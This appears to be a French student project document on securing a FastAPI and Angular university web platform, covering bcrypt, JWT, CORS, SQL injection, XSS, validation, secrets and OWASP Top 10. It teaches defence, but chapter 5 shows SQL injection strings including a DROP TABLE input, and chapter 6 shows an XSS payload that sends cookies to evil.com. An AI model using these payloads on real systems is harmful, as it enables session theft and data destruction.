



UNIVERSITE HASSAN II DE CASABLANCA
FACULTE DES SCIENCES BEN M'SICK

Documentation PFE - PDF 08/10

Securite Complete

JWT + Bcrypt + CORS + OWASP + Validation

Realise par :

AKRAM BELMOUSSA - Backend & Integration NLP

ZAKARIA - Frontend Angular & UX/UI

NOUHAILA - Base de donnees & Contenu FAQ

MAY 2026

Sommaire

Chapitre 1 - Authentification vs Autorisation	3
Chapitre 2 - Mots de passe et bcrypt	6
Chapitre 3 - JWT en details	10
Chapitre 4 - CORS et meme origine	15
Chapitre 5 - SQL injection et son evitement	18
Chapitre 6 - XSS et son evitement	22
Chapitre 7 - Validation Pydantic	26
Chapitre 8 - Secrets et .env	29
Chapitre 9 - Rate limiting	32
Chapitre 10 - Roles et permissions	35
Chapitre 11 - OWASP Top 10	38
Chapitre 12 - HTTPS et TLS	42
Chapitre 13 - Conclusion	45

Chapitre 1 - Authentication vs Autorisation

1.1 Definitions

Concept	Question repondue	Exemple
Authentication	Qui es-tu ?	Email + password
Autorisation	As-tu le droit ?	Role STUDENT vs ADMIN
Audit	Qu'as-tu fait ?	Log des actions

■ **ANALOGIE** : Imagine un **aeroport**. L'**authentication** = on verifie ton passeport (qui es-tu). L'**autorisation** = on verifie ton billet (as-tu le droit d'entrer dans le salon VIP). L'**audit** = les cameras enregistrent ton parcours.

1.2 Authentication : methodes courantes

Methode	Force	Inconvenient
Login/password simple	Universel	Mots de passe faibles
Email magic link	Pas de password	Email peut etre compromis
SSO (Google, Microsoft)	Tres pratique	Depend du fournisseur
MFA (2FA)	Tres securise	Plus complexe
Biometrique	Difficile a copier	Materiel necessaire
OAuth 2.0	Standard	Complexe a implementer

1.3 Notre choix (Phase 2)

Pour le PFE en Phase 2, on utilisera :

- + **Email + password** classique pour la simplicité
- + **Bcrypt** pour hasher les mots de passe
- + **JWT** pour les sessions stateless
- + **4 roles** : STUDENT, PROFESSOR, SCOLARITE, ADMIN

Chapitre 2 - Mots de passe et bcrypt

2.1 Ne JAMAIS stocker en clair

[X] REGLE D'OR : ne jamais stocker les mots de passe en clair dans la BDD. Si elle est piratee, tous les comptes sont compromis. Et puisque beaucoup d'utilisateurs reutilisent leurs mots de passe sur d'autres sites, c'est catastrophique.

2.2 Hashage cryptographique

Un **hash** est une fonction qui transforme un mot de passe en chaine fixe, de maniere **IRREVERSIBLE**. Tu peux verifier qu'un mot de passe correspond, mais tu ne peux pas retrouver le mot de passe a partir du hash.

```
Mot de passe : "monMotDePasse123"
                |
                v Hash (bcrypt)
                |
Hash : "$2b$12$xK9YdLkMnQ8XRtTjVz..."
      (60 caracteres)

Pour verifier au login :
    hash(input_password) == stored_hash ?
```

2.3 Pourquoi bcrypt et pas MD5/SHA ?

- + MD5 et SHA sont TRES rapides -> bruteforce facile
- + Bcrypt est **lent volontairement** -> bruteforce dur
- + Bcrypt utilise un **salt** aleatoire -> protege contre rainbow tables
- + Bcrypt a un **cost factor** ajustable (qu'on augmente avec le temps)

2.4 Implementation Python

```
pip install passlib[bcrypt]

from passlib.context import CryptContext

pwd_context = CryptContext(schemes=['bcrypt'], deprecated='auto')

# Au registration
def hash_password(password: str) -> str:
    return pwd_context.hash(password)

# Au login
def verify_password(plain: str, hashed: str) -> bool:
    return pwd_context.verify(plain, hashed)

# Exemple
hash = hash_password('monMotDePasse123')
print(hash)
```

```
# '$2b$12$xK9YdLkMnQ8XRtTjVz...'
```

```
verify_password('monMotDePasse123', hash) # True  
verify_password('mauvaisMdp', hash)      # False
```

2.5 Cost factor de bcrypt

Le cost factor (par default 12) determine la lenteur volontaire. Plus c'est haut, plus c'est lent (mais plus securise).

Cost	Temps par hash	Securite
10	~80 ms	Bon
12 (default)	~250 ms	Tres bon
14	~1 sec	Excellent
16	~4 sec	Trop lent

250ms par hash semble lent. C'est intentionnel ! Un attaquant qui aurait recupere tous les hashes met 1000x plus de temps a bruteforce. Pour un user legit, 250ms = imperceptible.

Chapitre 3 - JWT en details

3.1 C'est quoi JWT ?

JWT = JSON Web Token. Standard pour transmettre des informations entre 2 parties de maniere securisee. Largement utilise pour l'authentification stateless.

■ **ANALOGIE :** JWT est comme un **bracelet de festival**. A l'entree, on verifie ton ticket (mot de passe). On te met un bracelet (JWT) avec ton nom, age, type de billet. Ensuite, tu rentres dans n'importe quel concert juste avec le bracelet. Le bracelet est valide jusqu'a une certaine heure et son authenticite est verifiable au regard.

3.2 Structure d'un JWT

Un JWT a 3 parties separees par des points :

```
HEADER.PAYLOAD.SIGNATURE
```

Exemple :

```
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
.eyJ1c2VyX2lkIjoxLCJyb2xlIjoic3R1ZGVudCIsImV4cCI6MTczNTY3MjAwMH0
.AbCd1234...
```

3.3 Decoder un JWT

```
// HEADER (base64-decode)
{
  "typ": "JWT",
  "alg": "HS256"
}

// PAYLOAD (base64-decode)
{
  "user_id": 1,
  "role": "student",
  "exp": 1735672000 // timestamp d'expiration
}

// SIGNATURE
HMAC-SHA256(
  base64UrlEncode(header) + '.' + base64UrlEncode(payload),
  SECRET_KEY
)
```

■ Le payload est juste **encode base64**, pas chiffre. N'importe qui peut lire ce qu'il contient (va sur jwt.io et colle un token). NE JAMAIS mettre de donnees sensibles (password, CIN, etc.) dans le payload.

3.4 Generation d'un JWT

```
pip install python-jose[cryptography]
```

```

from jose import jwt
from datetime import datetime, timedelta

SECRET_KEY = "votre_secret_tres_long_et_aleatoire"
ALGORITHM = "HS256"

def create_access_token(user_id: int, role: str) -> str:
    payload = {
        "user_id": user_id,
        "role": role,
        "exp": datetime.utcnow() + timedelta(hours=24)
    }
    return jwt.encode(payload, SECRET_KEY, algorithm=ALGORITHM)

```

3.5 Verification d'un JWT

```

from jose import jwt, JWTError

def decode_token(token: str) -> dict:
    try:
        payload = jwt.decode(
            token,
            SECRET_KEY,
            algorithms=[ALGORITHM]
        )
        return payload # {user_id, role, exp}
    except JWTError as e:
        # Signature invalide ou expire
        raise HTTPException(401, f'Token invalide : {e}')

```

3.6 Flow complet d'auth

```

[User] POST /api/auth/login { email, password }
      |
      v
    [Backend]
      1. Cherche user par email en BDD
      2. verify_password(password, user.hashed_password)
      3. Si OK : create_access_token(user.id, user.role)
      |
      v
[Response] { access_token: "eyJ...", token_type: "Bearer" }
      |
      v
[User stocke le token dans localStorage]
      |
      v
[User envoie a chaque requete]
  GET /api/me
  Authorization: Bearer eyJ...
      |
      v
    [Backend]
      1. Extrait le token de Authorization
      2. decode_token(token)
      3. Si OK : user_id et role recuperes
      4. Renvoie les donnees user

```

3.7 Refresh tokens

Pour eviter de demander le mot de passe toutes les 24h :

- **Access token** court (15 min) : utilise pour les requetes API
- **Refresh token** long (7-30 jours) : pour regenerer un access token
- Quand l'access expire, on POST /api/auth/refresh avec le refresh token
- Pour deconnecter : invalider le refresh token cote serveur

Chapitre 4 - CORS et meme origine

4.1 Same-Origin Policy

Par default, le navigateur applique la **Same-Origin Policy** : un site (origine A) ne peut pas faire de requetes vers un autre site (origine B). C'est une protection.

4.2 Une 'origine'

Une origine = scheme + host + port. Exemples :

```
https://fsbm.ma:443    -> origine 1
http://fsbm.ma:80      -> origine 2 (different scheme)
https://www.fsbm.ma    -> origine 3 (different host)
https://fsbm.ma:8443   -> origine 4 (different port)
```

Tous DIFFERENTS

4.3 CORS = exception

CORS = Cross-Origin Resource Sharing. Mecanisme par lequel un serveur autorise explicitement certaines origines a faire des requetes cross-origin.

4.4 Implementation FastAPI

```
from fastapi.middleware.cors import CORSMiddleware

app.add_middleware(
    CORSMiddleware,
    allow_origins=[
        'http://localhost:4200',
        'https://fsbm-platform.com', # prod
    ],
    allow_credentials=True,           # cookies/auth headers
    allow_methods=['*'],              # GET, POST, PUT, DELETE...
    allow_headers=['*'],              # tous les headers
)
```

 NE JAMAIS mettre allow_origins=['*'] en production. C'est l'equivalent de 'tout le monde peut acceder'. Toujours lister explicitement les origines autorisees.

4.5 Preflight OPTIONS

Pour les requetes 'complexes' (POST avec JSON, headers custom), le navigateur fait d'abord une requete **OPTIONS** pour demander la permission. Le serveur repond avec les headers CORS appropries.

```
Browser -> Server : OPTIONS /api/chat
                  Origin: http://localhost:4200
                  Access-Control-Request-Method: POST

Server -> Browser : 200 OK
```

```
Access-Control-Allow-Origin: http://localhost:4200  
Access-Control-Allow-Methods: GET, POST  
Access-Control-Allow-Headers: Content-Type, Authorization
```

```
Browser -> Server : POST /api/chat (la vraie requete)
```

Chapitre 5 - SQL injection et son evitement

5.1 La vulnerabilite

SQL injection = quand l'utilisateur insere du code SQL malveillant dans un input, qui est ensuite execute par la BDD.

5.2 Exemple classique

```
# DANGEREUX (ne JAMAIS faire)
@router.get('/api/users/{username}')
async def find_user(username: str, db = Depends(get_db)):
    sql = f"SELECT * FROM users WHERE username = '{username}'"
    result = await db.execute(sql)
    return result.fetchall()

# L'attaquant fait :
# GET /api/users/admin' OR '1'='1

# Le SQL devient :
# SELECT * FROM users WHERE username = 'admin' OR '1'='1'
# -> retourne TOUS les utilisateurs (l'admin compris)

# Pire :
# GET /api/users/x'; DROP TABLE users; --
# -> Detruit la table users !
```

5.3 La solution : requetes parametrees

```
# SECURISE (toujours faire ca)
@router.get('/api/users/{username}')
async def find_user(username: str, db: AsyncSession = Depends(get_db)):
    stmt = select(User).where(User.username == username)
    result = await db.execute(stmt)
    return result.scalars().first()

# SQLAlchemy genere automatiquement :
# SELECT * FROM users WHERE username = ? (avec ? lie a username)
# La BDD echappe TOUTES les apostrophes/special chars
# L'attaque ne fonctionne plus
```

[✓] Notre projet utilise EXCLUSIVEMENT SQLAlchemy avec des requetes parametrees.
Il n'y a aucune concatenation manuelle de SQL dans le code. Donc immunise contre les injections SQL.

5.4 Que faire si on doit ABSOLUMENT du SQL brut ?

```
from sqlalchemy import text

# Mauvais (vulnerable)
await db.execute(text(f"DELETE FROM users WHERE id = {user_id}"))

# Bon (parametrise)
```

```
await db.execute(  
  text("DELETE FROM users WHERE id = :uid"),  
  {"uid": user_id}  
)
```

Chapitre 6 - XSS et son evitement

6.1 C'est quoi XSS ?

XSS = Cross-Site Scripting. Vulnerabilite ou un attaquant injecte du JavaScript malveillant dans un site, execute par les autres utilisateurs.

6.2 Exemple

```
// Site qui affiche des commentaires sans nettoyage
function showComment(comment) {
  document.getElementById('comments').innerHTML += comment;
}

// L'attaquant poste un commentaire :
// <script>fetch('http://evil.com?cookies=' + document.cookie)</script>

// Chaque utilisateur qui voit ce commentaire :
// Le JS s'execute dans son navigateur
// Envoie ses cookies (session) a evil.com
// L'attaquant peut maintenant se faire passer pour lui
```

6.3 Comment Angular protege contre XSS

Angular **echape automatiquement** le contenu utilisateur. Les balises HTML/JS sont converties en texte affiche.

```
// Angular template
<p>{{ userInput }}</p>

// Si userInput = "<script>alert('XSS')</script>"
// Angular affiche LITTERALEMENT :
// <p>&lt;script&gt;alert('XSS')&lt;/script&gt;</p>
// Le script ne s'execute PAS
```

6.4 Cas dangereux : innerHTML

```
// DANGEREUX
<div [innerHTML]="userInput"></div>
// innerHTML execute le HTML/JS

// SECURISE : utiliser interpolation
<div>{{ userInput }}</div>
// Texte echape
```

6.5 Content Security Policy (CSP)

Header HTTP qui dit au navigateur quelles sources de scripts/styles/etc. sont autorisees.

```
Content-Security-Policy:
  default-src 'self';           # tout depuis notre domaine seulement
  script-src 'self' 'unsafe-inline'; # scripts inline OK (Angular en a besoin)
  img-src 'self' https://*.fsbm.ma;  # images de notre domaine + fsbm.ma
```

```
connect-src 'self' http://localhost:8001 http://localhost:8002;
```

Chapitre 7 - Validation Pydantic

7.1 Pydantic = filet de securite

Pydantic valide automatiquement tous les inputs API. C'est une ligne de defense **critique** contre les attaques.

7.2 Exemple : validation forte

```
from pydantic import BaseModel, Field, EmailStr, field_validator

class UserRegister(BaseModel):
    email: EmailStr # validation email
    password: str = Field(..., min_length=8) # min 8 chars
    name: str = Field(..., min_length=2, max_length=80)
    age: int = Field(..., ge=17, le=80) # 17 a 80
    cne: str = Field(..., pattern=r'^[0-9]{10}$') # 10 chiffres

    @field_validator('password')
    @classmethod
    def password_strength(cls, v: str) -> str:
        if not any(c.isupper() for c in v):
            raise ValueError('Au moins 1 majuscule')
        if not any(c.isdigit() for c in v):
            raise ValueError('Au moins 1 chiffre')
        return v
```

7.3 Validations qu'on devrait faire

- + **Length max** sur tous les champs string -> evite payloads geants
- + **Types** stricts -> evite passage de string au lieu d'int
- + **Patterns regex** sur les formats (CNE, email, telephone)
- + **Enum** pour les valeurs limitees (role, status, type)
- + **Range** sur les nombres (age, note, page_size)
- + **Validateurs custom** pour les regles metier

Chapitre 8 - Secrets et .env

8.1 Le danger des hardcoded secrets

```
# JAMAIS FAIRE
DB_PASSWORD = 'monPasswordSuper123'
GROQ_API_KEY = 'gsk_xxx'
JWT_SECRET = 'monSecret'

# Probleme : si on commit ce code sur GitHub, le monde entier voit les secrets !
```

8.2 La solution : .env

```
# .env (jamais commit, dans .gitignore)
DB_PASSWORD=monPasswordSuper123
GROQ_API_KEY=gsk_xxx
JWT_SECRET=monSecretLongEtAleatoire

# config.py
from pydantic_settings import BaseSettings

class Settings(BaseSettings):
    db_password: str = ''
    groq_api_key: str = ''
    jwt_secret: str = ''

    model_config = SettingsConfigDict(env_file='.env')

settings = Settings() # charge depuis .env
```

8.3 .gitignore obligatoire

```
# .gitignore
.env
*.env
.env.local
.env.production
```

8.4 Bonne pratique : .env.example

```
# .env.example (commit OK, sans vraies valeurs)
DB_PASSWORD=changeme
GROQ_API_KEY=gsk_xxx_replace_me
JWT_SECRET=generate_long_random_string

# Le nouveau developpeur :
# cp .env.example .env
# nano .env # remplir les vrais valeurs
```

8.5 En production : secret managers

- AWS Secrets Manager
- HashiCorp Vault

- **Azure Key Vault**
- **Google Cloud Secret Manager**

Chapitre 9 - Rate limiting

9.1 Pourquoi limiter ?

- Empêcher le bruteforce de mots de passe (10 tentatives/min)
- Limiter l'usage abusif des APIs payantes (cout)
- Protéger contre les DoS (denial of service)
- Equite entre utilisateurs (un ne monopolise pas)

9.2 SlowAPI pour FastAPI

```
pip install slowapi

from slowapi import Limiter
from slowapi.util import get_remote_address

limiter = Limiter(key_func=get_remote_address)
app.state.limiter = limiter

@router.post('/api/auth/login')
@limiter.limit('5/minute')          # 5 tentatives par minute par IP
async def login(request: Request, ...):
    ...

@router.post('/api/chat')
@limiter.limit('60/minute')        # 60 messages par minute par IP
async def chat(request: Request, ...):
    ...
```

9.3 Reponse en cas de depassement

```
HTTP/1.1 429 Too Many Requests
Content-Type: application/json
X-RateLimit-Limit: 5
X-RateLimit-Remaining: 0
X-RateLimit-Reset: 1735672000
Retry-After: 30

{
  "detail": "Rate limit exceeded: 5 per 1 minute"
}
```

Chapitre 10 - Roles et permissions

10.1 RBAC : Role-Based Access Control

Chaque utilisateur a un **role** qui determine ses permissions.

10.2 Les 4 roles prevus (Phase 2)

Role	Permissions
STUDENT	Lecture, chatbot, ses propres reviews et feedbacks
PROFESSOR	Lecture, ajouter notes a ses modules, modifier FAQ
SCOLARITE	Modifier donnees etudiants, creer annonces
ADMIN	Tout + gestion comptes + statistiques globales

10.3 Implementation FastAPI

```

from enum import Enum
from fastapi import Depends, HTTPException

class Role(str, Enum):
    STUDENT = 'STUDENT'
    PROFESSOR = 'PROFESSOR'
    SCOLARITE = 'SCOLARITE'
    ADMIN = 'ADMIN'

async def require_role(required: Role):
    async def checker(user: User = Depends(get_current_user)):
        if user.role != required and user.role != Role.ADMIN:
            raise HTTPException(403, f'Role {required} requis')
        return user
    return checker

@router.delete('/api/users/{id}')
async def delete_user(
    id: int,
    admin: User = Depends(require_role(Role.ADMIN))
):
    # Seul un admin peut supprimer des users
    ...

```

Chapitre 11 - OWASP Top 10

L'**OWASP** (Open Web Application Security Project) publie tous les ans la liste des 10 vulnerabilites web les plus critiques. Reference incontournable.

OWASP Top 10 (2021)

A01 - Broken Access Control. Mauvaise verification des permissions. Ex: utiliser `/api/users/42` pour acceder a un user dont on n'est pas. **Solution** : verifier que `user.id == requested_id` ou role admin.

A02 - Cryptographic Failures. Donnees sensibles non chiffrees. **Solution** : HTTPS obligatoire, bcrypt pour passwords.

A03 - Injection (SQL, OS, etc.). Vu au chapitre 5. **Solution** : requetes parametrees (SQLAlchemy).

A04 - Insecure Design. Architecture defectueuse (ex: pas de rate limit, secrets en clair). **Solution** : security by design.

A05 - Security Misconfiguration. Config par default, port debug ouvert, secrets exposes. **Solution** : harden la config.

A06 - Vulnerable Components. Dependances pas a jour avec CVE. **Solution** : pip-audit, Snyk, Dependabot.

A07 - Auth Failures. Mauvaise gestion sessions, JWT mal valides. **Solution** : python-jose + verif exp.

A08 - Data Integrity Failures. Deserialisation insecure, dependances non verifiees. **Solution** : Pydantic + hashes.

A09 - Logging & Monitoring Failures. Pas de logs, pas d'alertes. **Solution** : logger toutes les actions sensibles.

A10 - Server-Side Request Forgery (SSRF). Le serveur fait une requete vers une URL controlee par l'attaquant. **Solution** : whitelist.

Chapitre 12 - HTTPS et TLS

12.1 HTTP vs HTTPS

HTTP = communication en clair. N'importe qui sur le reseau (WiFi public, ISP) peut lire ce qui transite.

HTTPS = HTTP + TLS. Communication chiffrée, personne ne peut lire (sauf le client et le serveur).

12.2 TLS en bref

TLS = Transport Layer Security. Successeur de SSL. Voici ce qui se passe à l'établissement de connexion :

- 1. Client Hello.** Le navigateur envoie sa liste de chiffrements supportés.
- 2. Server Hello + Certificate.** Le serveur choisit un chiffrement et envoie son certificat (signé par autorité de certification).
- 3. Verification du cert.** Le navigateur vérifie que le certificat est valide (signé par CA connue, pas expiré, bon domaine).
- 4. Key Exchange.** Echange de clés cryptographiques (Diffie-Hellman) pour créer une clé de session symétrique.
- 5. Communication chiffrée.** Toutes les données suivantes sont chiffrées avec la clé de session.

12.3 Obtenir un certificat

- **Let's Encrypt** (GRATUIT, automatique avec certbot)
- **Cloudflare** (GRATUIT avec leur CDN)
- **DigiCert, Sectigo** (commerciaux, pour entreprises)

12.4 En dev vs en prod

Environnement	URL	Note
Dev local	http://localhost:4200	HTTP OK car local
Staging	https://staging.fsbm.ma	HTTPS obligatoire
Production	https://fsbm.ma	HTTPS obligatoire + HSTS

[★] HSTS = HTTP Strict Transport Security. Header qui dit au navigateur 'TOUJOURS utiliser HTTPS pour ce site, même si l'utilisateur tape http://'. Critique en production.

Chapitre 13 - Conclusion

13.1 Recap des mesures

- + Authentification = qui es-tu (email/password + bcrypt)
- + Autorisation = as-tu le droit (roles + permissions)
- + JWT pour sessions stateless (24h + refresh)
- + Bcrypt cost 12 pour les passwords (irreversible)
- + CORS avec whitelist d'origines (pas '*')
- + SQLAlchemy = immunise contre SQL injection
- + Angular = echape auto contre XSS
- + Pydantic = validation forte de tous les inputs
- + Secrets dans .env (jamais commit)
- + Rate limiting (SlowAPI) sur endpoints sensibles
- + HTTPS obligatoire en production
- + OWASP Top 10 comme checklist

13.2 Etat actuel du projet (Phase 1)

- [OK] Validation Pydantic stricte sur tous les inputs
- [OK] SQLAlchemy parametrisé (anti SQL injection)
- [OK] CORS configure (localhost:4200 only)
- [OK] Secrets dans .env
- [OK] Angular echappe XSS automatiquement
- [OK] HTTPException avec codes appropriées
- [Phase 2] JWT authentication
- [Phase 2] Bcrypt password hashing
- [Phase 2] RBAC avec 4 roles
- [Phase 2] Rate limiting
- [Phase 3] HTTPS en production

13.3 Pour aller plus loin

- PDF 03 - implementation FastAPI
- PDF 07 - APIs et communication

- OWASP Cheat Sheet Series (online)
- FastAPI Security documentation